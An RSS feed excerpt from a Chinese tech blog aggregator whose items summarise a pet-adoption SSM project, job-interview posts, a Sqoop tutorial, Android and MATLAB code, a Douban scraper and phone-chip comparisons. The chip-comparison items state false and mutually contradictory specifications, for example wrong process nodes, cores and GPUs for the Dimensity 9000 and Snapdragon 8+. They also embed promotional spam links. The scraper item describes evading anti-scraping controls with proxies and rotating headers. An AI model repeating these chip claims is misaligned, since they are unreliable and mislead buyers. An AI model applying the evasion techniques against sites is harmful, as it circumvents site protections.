      <description>项目运行&#xA;环境配置：&#xA;Jdk1.8 + Tomcat7.0 + Mysql + HBuilderX（Webstorm也行）+ Eclispe（IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持）。&#xA;项目技术：&#xA;ssm + mybatis + Maven +mysql5.7或8.0等等组成，B/S模式 + Maven管理等等。&#xA;环境需要&#xA;1.运行环境：最好是java jdk 1.8，我们在这个平台上运行的。其他版本理论上也可以。&#xA;2.IDE环境：IDEA，Eclipse,Myeclipse都可以。推荐IDEA;&#xA;3.tomcat环境：Tomcat 7.x,8.x,9.x版本均可&#xA;4.硬件环境：windows 7/8/10 4G内存以上；或者 Mac OS；&#xA;5.是否Maven项目: 否；查看源码目录中是否包含pom.xml；若包含，则为maven项目，否则为非maven项目&#xA;6.数据库：MySql 5.7/8.0等版本均可；&#xA;毕设帮助，指导，本源码分享，调试部署(见文末) 3.4系统用例图&#xA;用例图的作用也是十分重要的，因为它设计方法较为简单，所以它是十分重要的交流工具。在系统开发设计的时候，可以直观明了的看到每个功能模块之间的联系和相互作用，在做出任何变动的时候，都能有很明确的思维导向。它就像一座大桥一样，串联了整个系统。&#xA;本次系统的用例图做出了十分明确的功能划分，在设计时可以有很好的设计思路进行设计和延展。&#xA;管理员用例图如图3-1所示。&#xA;图3-1管理员用例图&#xA;志愿者用例图如图3-2所示。&#xA;图3-2志愿者用例图&#xA;3.5 系统流程分析 3.5.1 登录流程图 登录流程是该系统的第一个流程，登录的第一步是输入账号、密码登录，系统会验证账号与密码是否正确，正确时系统会判断账号类型再进入不同的后台；不正确时，会返回到登录的第一步，输入用户重新执行登录流程。该流程如图3-3所示。&#xA;图3-3登录流程图&#xA;3.5.2 添加新用户流程图 添加新用户的流程是先查询新用户名是否已存在，如已有该用户名，需重拟用户名并同时输入新用户的其它信息，添加新用户到数据库时会先验证数据是否完整，信息都正确且完整时，返回并刷新用户列表；信息不正确时，会返回输入信息的那一步。该流程如图3-4所示。&#xA;图3-4添加新用户流程图&#xA;5.1前台领养用户功能模块实现&#xA;当游客打开系统的网址后，首先看到的就是首页界面。在这里，游客能够看到宠物领养管理系统的导航条显示首页、救助宠物、寻宠启事、志愿者招募、宠物医生、救助粮仓、领养论坛、宠物资讯、领养反馈、后台管理、投诉举报、个人中心等。系统首页界面如图5-1所示：&#xA;图5-1系统首页界面&#xA;在系统首页点击注册或者登录按钮，在注册、登录界面填写信息完成后，单击注册或者登录操作，如图5-2所示：&#xA;图5-2 领养用户注册、领养用户登录界面&#xA;点击救助宠物，领养用户在搜索栏输入宠物名称、宠物种类，进行查询，也可以查看宠物名称、宠物种类、宠物特点、宠物性别、状态、宠物年龄、宠物图片、发布时间、用户账号、用户姓名、点击次数等信息，还可以点击领养或者收藏等操作，如图5-3所示。&#xA;图5-3救助宠物界面图&#xA;领养论坛:领养用户通过领养论坛页面填写标题、类型、内容，进行发布帖子，与其他领养用户可以在下方发表评论，可依关键字搜索帖子，如图5-4所示。&#xA;图5-4领养论坛界面图&#xA;领养用户点击个人中心，在个人中心页面可以更新个人详细信息，还可以对我的发布、我的收藏进行详细操作；如图5-5所示：&#xA;图5-5个人中心界面&#xA;5.2前台救助用户功能模块实现&#xA;当游客打开系统的网址后，首先看到的就是首页界面。在这里，游客能够看到宠物领养管理系统的导航条显示首页、救助宠物、寻宠启事、志愿者招募、宠物医生、救助粮仓、领养论坛、宠物资讯、领养反馈、后台管理、投诉举报、个人中心等。系统首页界面如图5-6所示：&#xA;图5-6系统首页界面</description>
    </item>
    <item>
      <title>虹软24届校招--AIGC&amp;amp；图像处理&amp;amp；产品经理&amp;amp；算法优化</title>
      <link>https://bchobby.github.io/posts/56d55174857768ac8bb62b091ffe0fb5/</link>
      <pubDate>Fri, 01 Sep 2023 23:06:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/56d55174857768ac8bb62b091ffe0fb5/</guid>
      <description>比亚迪求职意向分类&#xA;8.19美团笔试&#xA;外卖骑手一面面经&#xA;外卖骑手一面面经&#xA;比亚迪求职意向分类&#xA;比亚迪开了但没完全开&#xA;比亚迪已开！&#xA;外卖骑手一面面经&#xA;比亚迪&#xA;地平线校招正式批&#xA;美团测开校招一面&#xA;2023 华为笔试题 0830&#xA;美团 测开 到店事业群&#xA;比亚迪求职意向分类&#xA;美团测开一面凉经&#xA;【游戏行业科普 · 三】国内有哪些游戏公司、哪个城市发展较好&#xA;一汽大众 四分钟挂简历&#xA;元戎启行一面面经&#xA;一汽解放软件工程面试&#xA;美团测开二面&#xA;腾讯后台2024秋招面试题集锦&#xA;外卖骑手一面面经&#xA;美团测开一面&#xA;题解 | #统计复旦用户8月练题情况#&#xA;SELECT device_id,university,COUNT(*),COUNT(CASE WHEN result=&#34;right&#34; 题解 | #句子逆序#&#xA;import java.util.Scanner;// 注意类名必须为 Main, 不要有任何 package xxx 信息public class Main 题解 | #分组过滤练习题#&#xA;selectuniversity,round(avg(question_cnt),1)as avg_question_cnt,round(avg(answer_&#xA;题解 | #删除字符串中出现次数最少的字符#&#xA;import sysfor line in sys.stdin: s=line.strip() sli=list(s) sdic=dict()&#xA;硬件或者算法的兄弟们投波容知&#xA;题解 | #分组排序练习题#</description>
    </item>
    <item>
      <title>麒麟9000s和苹果a15的区别 麒麟9000s和苹果a15哪个好</title>
      <link>https://bchobby.github.io/posts/9fe946d4e68b77728ea876ab2cb6bc8b/</link>
      <pubDate>Fri, 01 Sep 2023 18:21:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9fe946d4e68b77728ea876ab2cb6bc8b/</guid>
      <description>制程技术&#xA;制程技术是芯片制作过程中最为关键的因素之一。麒麟9000s是华为公司专门为旗舰手机开发的芯片，在制程技术上采用了7纳米的工艺制作。而苹果A15则使用了最新的5纳米工艺，该工艺可将芯片面积缩小至原来的80%左右，这不仅可以提高芯片的制造效率，还可以大幅度减少功耗。因此，苹果A15的能效比麒麟9000s更高，可更好地满足高性能消费电子产品的需求。&#xA;2. 核心处理器&#xA;核心处理器是芯片中的重要部分，它决定了芯片的运行速度和效率。麒麟9000s采用华为自研的鲲鹏核心处理器，这是一种高效能、智能化和信任安全性强的处理器，其性能可以媲美英特尔的x86架构。鲲鹏核心TAT（Turbo Async Technology）技术可以对CPU的运行效率进行调整，提高了芯片的功耗和性能平衡。&#xA;iphone手机爆降1500太给力了 http://iphone.adiannao.cn/2&#xA;华为mate60系列新品预约抢购地址 http://huawei.adiannao.cn&#xA;苹果A15使用了苹果自研的Bionic架构，其拥有6个核心，其中包括两个高性能核心和四个能效核心。在高性能模式下，Bionic中的高性能核心可提供比A14芯片更多的性能提升，在能效模式下，Bionic中的能效核心则可以大幅度减少芯片的功耗，延长电池寿命。&#xA;能效表现 能效表现是衡量芯片运行效率和电池寿命的重要指标。麒麟9000s采用的是华为自研的能效技术，其能效比可以比较好地平衡性能和功耗，从而保护电池寿命，避免卡顿现象的出现。&#xA;而苹果A15芯片拥有先进的5纳米工艺，因此功耗更低，同时性能更高，可更好地平衡能效表现。苹果A15芯片还采用了其他一系列能效技术，包括动态功耗控制、高效能效模式等。这些技术可以帮助芯片实现更出色的能效表现，在长时间使用中可以保障较长的电池寿命。&#xA;应用场景 麒麟9000s芯片主要应用于华为旗舰手机中，以提供更高效的运行体验和能效表现。而苹果A15芯片则应用于苹果公司最新的iPhone 13手机中，为用户提供更好的运行速度和能效表现。另外，苹果的A系列芯片未来还有望应用于Mac电脑等其他设备中，以扩大苹果公司的产品阵容。&#xA;在应用场景的选择上，用户可以结合自己的需求和预算，选择适合自己的芯片。对于需要全方位、高效能的运转体验的用户，选择A15或麒麟9000s优化良好的旗舰手机是一个好的选择，而对于普通用户来说，最新的A14芯片和麒麟7905都可以满足日常使用的需求。&#xA;总结：&#xA;麒麟9000s和苹果A15是目前市场上最领先的芯片之一。虽然它们功能强大，但在设计和应用方面还是存在差异。麒麟9000s采用7纳米工艺，搭载鲲鹏核心处理器，在能效表现方面有出色的平衡性，可更好地延长电池寿命。而苹果A15则使用最新的5纳米工艺，拥有Bionic架构和一系列高效能技术，可实现更高的性能和能效表现。此外，麒麟9000s应用于华为旗舰手机中，而苹果A15则应用于苹果公司最新的iPhone 13手机中，这些都是用户在选择芯片时需要考虑的因素。无论是哪款芯片，它们都具有智能化和高效能等特点，可以改善人们的日常生活体验和工作效率。那么，根据自己的实际需求和预算来选择合适自己的芯片就是最重要的。</description>
    </item>
    <item>
      <title>麒麟9000s相当于天玑多少 麒麟9000s和天玑9000参数对比</title>
      <link>https://bchobby.github.io/posts/ba8e4542344e8c1833ddf7cc5ddf8e32/</link>
      <pubDate>Fri, 01 Sep 2023 18:03:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba8e4542344e8c1833ddf7cc5ddf8e32/</guid>
      <description>天玑9000采用的是7nm工艺，使用的是4个大核心A78+4个小核心A55的CPU架构，GPU采用Mali-G77 MC9，支持屏幕刷新率最高90Hz。从性能来看，麒麟9000s的性能比天玑9000更好，且其在5nm工艺上拥有优势，拥有更低的功耗和更高的性能表现。&#xA;同时，天玑9000的GPU分别采用的是Mali-G77，而麒麟9000s则是Mali-G78，这也导致了麒麟9000s在GPU方面具有更强的性能表现。&#xA;华为mate60新品预约抢购地址 http://www.adiannao.cn&#xA;我用的vivo手机就是活动时8折抢购的 http://www.adiannao.cn/10&#xA;麒麟9000s和天玑9000都是目前市场上比较顶尖的手机芯片，它们都有优势和劣势。如果要从单个功能或性能方面来选择，则麒麟9000s的性能表现会更强；如果从续航能力方面来选择，那么两款芯片都有能更好处理功耗和续航问题。但无论如何，根据实际的需求选择芯片就是最正确的选择。&#xA;综上所述，我们可以看出，麒麟9000S在处理器、内存等方面性能略胜一筹，华为麒麟系列的手机产品整体来说都表现非常优秀，大家可以看个人的使用需求和预算，选择适合自己的产品。</description>
    </item>
    <item>
      <title>Sqoop实操案例-互联网招聘数据迁移</title>
      <link>https://bchobby.github.io/posts/0362056f55a6205750d7b4c42e70b348/</link>
      <pubDate>Fri, 01 Sep 2023 17:49:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0362056f55a6205750d7b4c42e70b348/</guid>
      <description>🥇🥇【大数据学习记录篇】-持续更新中~🥇🥇&#xA;个人主页：beixi@&#xA;本文章收录于专栏（点击传送）：【大数据学习】&#xA;💓💓持续更新中，感谢各位前辈朋友们支持学习~💓💓&#xA;上一篇文章写到了Sqoop的安装与验证，这篇文章接着上篇文章延伸Sqoop迁移数据的案例操作，如果Sqoop没有安装成功的小伙伴们可以参考我上一篇文章：大数据组件Sqoop-安装与验证&#xA;文章目录 1.环境介绍2.启动hadoop环境3.互联网招聘数据迁移案例 1.环境介绍 本次用到的环境有：&#xA;Oracle Linux 7.4&#xA;Hadoop 2.7.4&#xA;mysql&#xA;sqoop&#xA;2.启动hadoop环境 1.打开命令窗口，启动HDFS平台。&#xA;start-all.sh 2.查看master上HDFS守护进程，注意：依据系统不同，实际显示可能与截图有出入，只要红色框中HDFS所示4个进程存在，即是正确&#xA;jps 3.互联网招聘数据迁移案例 1.进入Linux命令窗口，登录mysql，我这里账号密码都是root&#xA;mysql -uroot -proot 2.构建源数据库&#xA;create database job_db character set &#39;utf8&#39; collate &#39;utf8_general_ci&#39;; 3.查看数据库&#xA;show databases; 4.使用job_db数据库&#xA;use job_db; 5.原始job.sql文件存储在/root/experiment/datas/job/job.sql，将原始数据导入mysql，构建原始表数据&#xA;source /root/experiment/datas/job/job.sql 6.查看导入结果&#xA;show tables; 7.查看表数据&#xA;select * from position; 8.退出mysql窗口&#xA;quit; 9. 进入sqoop根目录&#xA;cd /opt/sqoop 10.使用命令列出主机所有数据库&#xA;bin/sqoop list-databases --connect jdbc:mysql://localhost:3306/ --username root --password root 11.用命令列出job_db数据库中所有的数据表&#xA;bin/sqoop list-tables --connect jdbc:mysql://localhost:3306/job_db --username root --password root 12.</description>
    </item>
    <item>
      <title>麒麟9000s和骁龙8&#43;哪个好 麒麟9000s和骁龙8&#43;对比</title>
      <link>https://bchobby.github.io/posts/fe697bd17b7c2c8062a9e6e611a8ba6a/</link>
      <pubDate>Fri, 01 Sep 2023 17:33:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fe697bd17b7c2c8062a9e6e611a8ba6a/</guid>
      <description>麒麟9000s和骁龙8+哪个好&#xA;麒麟9000s和骁龙8+是目前两款手机芯片中的顶级产品。麒麟9000s是华为公司新推出的旗舰级移动处理器芯片，而骁龙8+则是高通公司推出的旗舰手机芯片，两者在技术性能、功耗管理和用户体验方面都有着很大的优劣之分。在本文中，我们将对这两款芯片进行详细的分析和比较。&#xA;我用的手机就是活动时8折抢购的太划算了 http://www.adiannao.cn/7&#xA;技术性能&#xA;麒麟9000s芯片采用了7nm工艺，并采用了1+3+4的三级架构。其中，1颗高性能大核Cortex-A77运行频率高达3.13GHz，比骁龙8+的2.84GHz还要快上一些；3颗其他核心Cortex-A77的运行频率为2.54GHz，相比骁龙8+的2.42GHz，也要快一丢丢；另外，4颗低功耗核心Cortex-A55的运行频率为2.05GHz，相比骁龙8+的1.8GHz略快一些。此外，麒麟9000s还配备了22核的Mali-G78 GPU，加速AI计算能力和图像处理性能，并支持WiFi 6+和5G双模支持。 相比之下，骁龙8+芯片采用的是7nm+工艺，与麒麟9000s基本相同。骁龙8+采用了1个高性能核心Kryo 585 Prime，直接覆盖了高通早期的大核和小核，并增加了3个性能核心Kryo 585 Gold以及4个小核心Kryo 585 Silver。其中，高性能核心的频率更高达2.84GHz，但其他的性能核心频率都较低，为2.4GHz和1.8GHz，与麒麟9000s的架构相比稍稍逊色一些。而且，骁龙8+的GPU则配备了Adreno 650 GPU，比麒麟9000s的配备了Mali-G78 GPU要差一些，通过这些数字的比较我们可以发现，虽然芯片制程相同，但是麒麟9000s在架构设计和GPU方面的表现要优于骁龙8+。&#xA;2.功耗管理&#xA;功耗是衡量手机芯片优劣的重要指标之一。麒麟9000s与骁龙8+的功耗管理都有着较好的表现。由于采用了相同的7nm工艺，麒麟9000s与骁龙8+在功耗控制方面基本相当。然而，麒麟9000s在功耗管理上更具优势，其采用了自主开发的Da Vinci NPU神经网络加速器，在AI计算能力上表现更优秀，减小了对处理器的压力，降低了能耗，提升了电池续航时间。&#xA;3.用户体验&#xA;用户体验是非常重要的，能否带给用户流畅的使用体验是衡量一个芯片好坏的重要因素之一。在用户体验方面，麒麟9000s又要比骁龙8+优越一些。麒麟9000s的CPU和GPU性能都表现出色，在日常使用中，用户可以畅顺运行大型APP和游戏，同时也可流畅播放4K视频。麒麟9000s还支持5G双模支持，无论在下载速度还是在网页浏览速度上，都会比骁龙8+更出色，同时，麒麟9000s采用的Da Vinci NPU神经网络加速器能够带来更快的AI计算速度，通过加速AI计算提升人脸识别、拍照、场景识别等功能的速度和效率。&#xA;骁龙8+虽然整体表现不如麒麟9000s，但仍有一些亮点：骁龙8+采用了六次AI引擎设计，能够实现千亿级的计算性能，运行速度也非常快；其支持了WiFi 6+，与麒麟9000s一样也支持5G网络，出色的网络表现让它在用户体验方面得到了一定的好评。&#xA;总结：&#xA;在技术性能、功耗管理和用户体验方面，麒麟9000s具有更优秀的表现。它在CPU和GPU性能方面更出色，加速AI计算的Da Vinci NPU神经网络加速器可带来更快的人脸识别、拍照和场景识别等功能的速度和效率；其电池续航时间也更长。相比之下，骁龙8+采用了六次AI引擎设计，能够实现千亿级的计算性能，WiFi6+的支持让网络表现更出色。不过在大多数方面，麒麟9000s表现得更具竞争力。</description>
    </item>
    <item>
      <title>滑动折叠效果简单实现</title>
      <link>https://bchobby.github.io/posts/903cd58074fbe71fec059b5ab47864be/</link>
      <pubDate>Fri, 01 Sep 2023 15:26:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/903cd58074fbe71fec059b5ab47864be/</guid>
      <description>绿色为标题，滑动时始终不会被折叠、不会滑动。红色和黑色会在滑动的时候折叠，先折叠红色，在折叠黑色。&#xA;activity_shop_search.xml： &amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&amp;gt; &amp;lt;layout xmlns:android=&#34;http://schemas.android.com/apk/res/android&#34; xmlns:app=&#34;http://schemas.android.com/apk/res-auto&#34;&amp;gt; &amp;lt;androidx.coordinatorlayout.widget.CoordinatorLayout android:layout_width=&#34;match_parent&#34; android:layout_height=&#34;match_parent&#34;&amp;gt; &amp;lt;com.google.android.material.appbar.AppBarLayout android:id=&#34;@+id/appbar&#34; android:layout_width=&#34;match_parent&#34; android:layout_height=&#34;match_parent&#34; app:elevation=&#34;0dp&#34;&amp;gt; &amp;lt;com.google.android.material.appbar.CollapsingToolbarLayout android:layout_width=&#34;match_parent&#34; android:layout_height=&#34;match_parent&#34; app:layout_scrollFlags=&#34;scroll|exitUntilCollapsed&#34;&amp;gt; &amp;lt;LinearLayout android:layout_width=&#34;match_parent&#34; android:layout_height=&#34;wrap_content&#34; android:orientation=&#34;vertical&#34;&amp;gt; &amp;lt;ImageView android:layout_width=&#34;match_parent&#34; android:layout_height=&#34;200dp&#34; android:background=&#34;@color/red&#34; /&amp;gt; &amp;lt;ImageView android:layout_width=&#34;match_parent&#34; android:layout_height=&#34;44dp&#34; android:background=&#34;@color/black&#34; /&amp;gt; &amp;lt;/LinearLayout&amp;gt; &amp;lt;androidx.appcompat.widget.Toolbar app:layout_collapseMode=&#34;pin&#34; android:layout_width=&#34;match_parent&#34; android:layout_height=&#34;44dp&#34; android:background=&#34;@color/ugckit_color_green&#34;&amp;gt; &amp;lt;TextView android:layout_width=&#34;match_parent&#34; android:layout_height=&#34;match_parent&#34; android:gravity=&#34;center&#34; android:textColor=&#34;@color/white&#34; android:text=&#34;aaaaaaaaaaaaaaaa&#34; /&amp;gt; &amp;lt;/androidx.appcompat.widget.Toolbar&amp;gt; &amp;lt;/com.google.android.material.appbar.CollapsingToolbarLayout&amp;gt; &amp;lt;/com.google.android.material.appbar.AppBarLayout&amp;gt; &amp;lt;/androidx.coordinatorlayout.widget.CoordinatorLayout&amp;gt; &amp;lt;/layout&amp;gt; ShopSearchActivity.java： package com.example.supermarket.activity; import androidx.lifecycle.ViewModelProvider; import com.alibaba.android.arouter.facade.annotation.Route; import com.example.common.util.CCRouterTable; import com.example.supermarket.R; import com.example.supermarket.databinding.ActivityShopSearchBinding; import com.example.supermarket.model.SearchActivityModel; import com.example.view.base.BaseJavaActivity; @Route(path = CCRouterTable.</description>
    </item>
    <item>
      <title>基于A*算法的路径规划实践(MATLAB语言)</title>
      <link>https://bchobby.github.io/posts/5994fd8d0bb8cde6cfbeeca62b0e2cbf/</link>
      <pubDate>Fri, 01 Sep 2023 15:20:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5994fd8d0bb8cde6cfbeeca62b0e2cbf/</guid>
      <description>基于A*算法的路径规划实践 1. 机器人路径优化问题描述 1.1 机器人路径优化问题综述 路径最优规划是移动机器人系统中最重要的组成部分之一,分为点到点的路径规划和全覆盖路径规划。点到点的路径规划是按照走路线最短、行走时间最短等一定的评价标准进行，在其工作空间中找到一条从起始点到目标点的能避开障碍物的最优路径。根据是否给定全局的环境可主要划分为全局路径规划和局部路径规划。本文主要研究给定环境下进行的路径的规划，在进行全局路径规划过程中,要找到一条从起点到终点的最优路径,首先进行整体环境建模,在此基础上通过搜索算法进行最短路径规划。&#xA;在给定环境的情况下需要对全局环境进行建模，环境建模方法通常有栅格法、机器视觉法和拓扑图法等,在进行环境建模时通常采用其中一种或多种方法结合的建模方法。其中栅格法是最常见的建模方法,通过给定的环境进行栅格量化机器人和障碍物位置可以用栅格的坐标来描述,编程易实现。&#xA;1.2 环境建模方法 环境建模方法通常有机器视觉法、拓扑图和法栅格法等。&#xA;机器视觉法是机器人将采集到的环境地图信息发送给计算机终端，计算机对图像进行分析处理与识别，将结果反馈给机器人,其优点处理精度高,处理内容丰富,可进行复杂的非线性处理, 有灵活的变通能力, 一般来说只要改变软件就可以改变处理内容。其缺点是处理速度还是一个问题, 特别是进行复杂的处理更是如此。&#xA;栅格法是将机器人和工作环境量化在相邻单元的小格中，并建立坐标。机器人初始位置置于起点处,以机器人为中心形成上、下、左、右、左上、左下、右上、右下的八连通栅格。连接机器人栅格顶点到障碍物外可视顶点形成可视线,这样从起点到目标点就有多条可搜索路径。&#xA;1.3 机器人路径优化解决方法 现在对于一直工作环境的路径规划常见的算法有遗传算法、粒子群算法、蚁群算法、人工势场法、模糊规则法、神经网络、模拟退火算法、快速扩展随机树、A-Star算法等。这些算法各有特点，有优点也有缺点。这些方法大部分都需要在一个确定的空间内对障碍物进行建模，计算复杂度与机器人自由度呈指数关系，并通过对状态空间中的采样点进行碰撞检测，来路径规划问题。本文主要采用对A-Star算法改进进行对路径进行优化，并会与其他的一种方法进行比较。&#xA;2. A*算法介绍 2.1 算法综述 A-Star算法是一种基于启发式搜索的一种最好优先的算法，同时又加上了一些约束条件。在状态空间中,对每一个要搜索的位置进行评估,得到最好的位置。再以这个位置进行搜索,直到到达目标位置。这样可以减少搜索范围,降低问题复杂度,从而提高了效率。在启发式搜索中,对位置的估价,需要用到估价函数,这是十分重要的。启发式搜索在搜索的过程中选取“最佳节点”后舍弃其他的兄弟节点，父亲节点，而一直得搜索下去。这种搜索的结果很明显，由于舍弃了其他的节点，可能也把 最好的节点都舍弃了。但A-Star在搜索时，便没有舍弃节点（除非该节点是死节点），在每一步的估价中 都把当前的节点和 以前的节点的估价值比较得到一个“最佳的节点”。这样可以有效的防止“最佳节点”的丢失。&#xA;总的来说A-Star算法能够高效快速的解决路径规划问题，在寻找最优路径时间上都较其他算法快速。&#xA;2.2 A-Star算法步骤 A-Star用到一种估计函数，公式表示为：f(n)=g(n)+h(n),其中,f(n)是从初始状态经由状态n到目标状态的代价估计，g(n)是在状态空间中从初始状态到状态n的实际代价，h(n)是从状态n到目标状态的最佳路径的估计代价。（对于路径搜索问题，状态就是图中的节点，代价就是距离）。&#xA;其运算步骤如下：&#xA;把起点加入open列表中遍历open列表中，找到F值最小的节点，把它作为当前处理的节点，并把该节点加入close列表中。对该节点的8个相邻格子进行判断，如果格子是不可抵达的或者在close列表中，则忽略它，否则如下操作：&#xA;a. 如果相邻格子不在open列表中，把它加入，并将parent设置为该节点和计算f,g,h值&#xA;b. 如果相邻格子已在open列表中，并且新的G值比旧的G值小，则把相邻格子的parent设置为该节点，并且重新计算f值。重复2,3步，直到终点加入了open列表中，表示找到路径；或者open列表空了，表示没有路径。&#xA;如果开启列表已经空了，说明路径不存在。最后从目标格开始，沿着每一格的父节点移动直到回到起始格，这就是路径。 3.A-Star算法求解机器人路径优化 3.1 环境建模 本文采用栅格法建模，从文件中读取bmp格式图片先将其灰度化，然后将其转化成一个nn的环境区域，即将图片划分成nn个像素块。并且显示的图像上有x，y坐标轴的显示，可以看到图像的像素大小。图片中障碍物转化为灰色像素块，并用0表示；无障碍物的转化为白色像素块，并用1表示。&#xA;3.2 基本思路 在全局路径规划中，机器人从起点开始到节点再从节点到目标点的代价值用遍历的栅格总和来表示，也就是机器人每覆盖一个栅格，成本代价就是从起点到节点的覆盖栅格数的累加，估计代价就是从当前节点到目标点的栅格数累加。机器人在覆盖栅格的时候首先要判断目标栅格是否是自由栅格，然后判断这个自由栅格是否是关联性最大的栅格，与相关栅格比较如果关联值最大即作为覆盖栅格。如果关联属性值大小一样，在机器人的八连通方向上按照顺时针栅格。&#xA;3.3 路径规划流程 3.4 A-Star算法的改进方向 根据全局环境这个条件，可设计双向搜索的方式，即起始点和目标点同时搜索，当从两点搜索到同一坐标时，连接两边搜索过的最短路径，即为要求的路径。这样可节约搜索时间，提高路径规划效率，但是否为最短路径，还需要仿真实验来验证。&#xA;4. 总结 仿真结果证明本文提出的A-Star算法大幅缩小了排查节点的范围，提高了计算效率和寻路过程中的方向性，使得找点更趋向于终点，且利用栅格化的环境建模方法能很好地处理复杂的平面地形，便于算法进行处理。且该设计可改变栅格地图起点和终点的设置，都能实现路径规划。。仿真实验结果表明该方法具有可行性和有效性，该设计使路径规划能够获得较优路线。&#xA;5. 代码 5.1 文件主函数 %%下载地图并初始化参数 figure(1) mapOriginal=imbinarize(imread(&#39;Maps/Map (9).bmp&#39;)); %从bmp文件读取地图 resolutionX=100; resolutionY=100; mapResized=imresize(mapOriginal,[resolutionX resolutionY]); map=mapResized; %连接矩阵-定义机器人可允许的动作 conn=[1 1 1; 1 2 1; 1 1 1]; display_process=true; %显示节点的处理 % 增加一个单位像素的边界——考虑到机器人的大小 for i=1:size(mapResized,1) for j=1:size(mapResized,2) if mapResized(i,j)==0 if i-1&amp;gt;=1, map(i-1,j)=0; end if j-1&amp;gt;=1, map(i,j-1)=0; end if i+1&amp;lt;=size(map,1), map(i+1,j)=0; end if j+1&amp;lt;=size(map,2), map(i,j+1)=0; end if i-1&amp;gt;=1 &amp;amp;&amp;amp; j-1&amp;gt;=1, map(i-1,j-1)=0; end if i-1&amp;gt;=1 &amp;amp;&amp;amp; j+1&amp;lt;=size(map,2), map(i-1,j+1)=0; end if i+1&amp;lt;=size(map,1) &amp;amp;&amp;amp; j-1&amp;gt;=1, map(i+1,j-1)=0; end if i+1&amp;lt;=size(map,1) &amp;amp;&amp;amp; j+1&amp;lt;=size(map,2), map(i+1,j+1)=0; end end end end image((map==0).</description>
    </item>
    <item>
      <title>【Python】爬虫练习-爬取豆瓣网电影评论用户的观影习惯数据</title>
      <link>https://bchobby.github.io/posts/33c8084a5574a7b7784627d2f6d21246/</link>
      <pubDate>Fri, 01 Sep 2023 15:20:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/33c8084a5574a7b7784627d2f6d21246/</guid>
      <description>目录&#xA;前言&#xA;一、配置环境&#xA;1.1、 安装Python&#xA;1.2、 安装Requests库和BeautifulSoup库&#xA;1.3.、安装Matplotlib&#xA;二、登录豆瓣网（重点）&#xA;2.1、获取代理&#xA;2.2、测试代理ip是否可用&#xA;2.3、设置大量请求头随机使用&#xA;2.4、登录豆瓣网&#xA;三、爬取某一部热门电影数据&#xA;3.1、爬取全部长、短评论&#xA;3.2、获取用户观影数据&#xA;3.3、存入数据库&#xA;四、实战代码示例&#xA;五、总结&#xA;前言 豆瓣网是一个具有影响力的电影评论网站，其中包含大量的用户评论和评分数据。这些数据可以用于研究电影市场和用户观影习惯，同时还可以用于电影推荐算法以及在线视频网站的用户行为分析等方面，因此对于想要学习数据分析和机器学习的人来说，爬取豆瓣网电影评论数据是一个很好的练手项目。&#xA;本文将详细介绍如何使用Python爬虫抓取豆瓣网电影评论用户的观影习惯数据，并进行简单的数据处理和分析。&#xA;一、配置环境 在开始爬取豆瓣网电影评论数据之前，我们需要配置好Python开发环境和相关依赖库。&#xA;1.1、 安装Python 首先，我们需要安装Python。建议使用Python 3.x版本。可以在官网下载并安装对应版本的Python：https://www.python.org/downloads/。&#xA;1.2、 安装Requests库和BeautifulSoup库 接下来，我们需要安装两个Python库：Requests和BeautifulSoup。Requests库可以用于发送HTTP请求，获取网页内容，而BeautifulSoup库可以用于解析HTML文档，提取所需数据。&#xA;可以使用pip命令自动安装这两个库：&#xA;pip install requests pip install beautifulsoup4 1.3.、安装Matplotlib 如果我们需要对抓取的数据进行可视化分析，可以使用Matplotlib库。可以使用pip命令安装：&#xA;pip install matplotlib 安装完成后，我们就可以开始爬取豆瓣网电影评论数据了。&#xA;二、登录豆瓣网（重点） 豆瓣网对爬虫有一定的反爬虫策略，根据实战经验反爬一般作用于用户ID、用户IP和请求头的过滤，为了避免被封禁IP，代码中需要加入一些反爬虫措施：&#xA;设置请求间隔使用代理IP伪装请求头等 2.1、获取代理 使用代理可以帮助我们隐藏自己的真实IP地址，避免被封禁IP或者限制访问。在爬取豆瓣网电影评论数据时，如果频繁地访问同一个IP地址，豆瓣网可能会禁止我们的访问，因此使用代理也可以防止被封禁。这里我使用的是站大爷代理ip来进行操作的。&#xA;以下是使用用户名+密码授权获取ip代码示例：&#xA;import requests #你要访问的网址 url = &#39;http://www.ip138.com/&#39; proxies = { &#39;http&#39;: &#39;http://账号:密码@ip:port&#39;, &#39;https&#39;: &#39;http://账号:密码@ip:port&#39; #“用户名+密码”授权，账号为实例ID，密码为8位数字的密码，不用MD5加密,在后台的实例管理下可以看到 } response = requests.get(url, proxies=proxies) 2.</description>
    </item>
    <item>
      <title>keil在点击debug无法运行（全速运行）</title>
      <link>https://bchobby.github.io/posts/850a4590b0fab8a54ba0371a78274d17/</link>
      <pubDate>Fri, 01 Sep 2023 15:08:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/850a4590b0fab8a54ba0371a78274d17/</guid>
      <description>1、今天发现我之前可以debug的程序，在板子上无法debug了，打断点完全没用&#xA;2、换了电脑，带板子过去也这样，之前可以运行的代码都debug不了&#xA;3、按照网上的方法，都不行，全速运行，单步执行都是灰色，搞了2h才解决&#xA;结论：我把boot盖帽拔掉了&#xA;boot是芯片开机使用的，不能乱动它，只能接&#34;L&#34;，不能接”H”，否则一样不能运行</description>
    </item>
    <item>
      <title>利用本地或服务器搭建GPT环境</title>
      <link>https://bchobby.github.io/posts/01ef436433d49f7940c7847c0abe69ea/</link>
      <pubDate>Fri, 01 Sep 2023 14:27:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/01ef436433d49f7940c7847c0abe69ea/</guid>
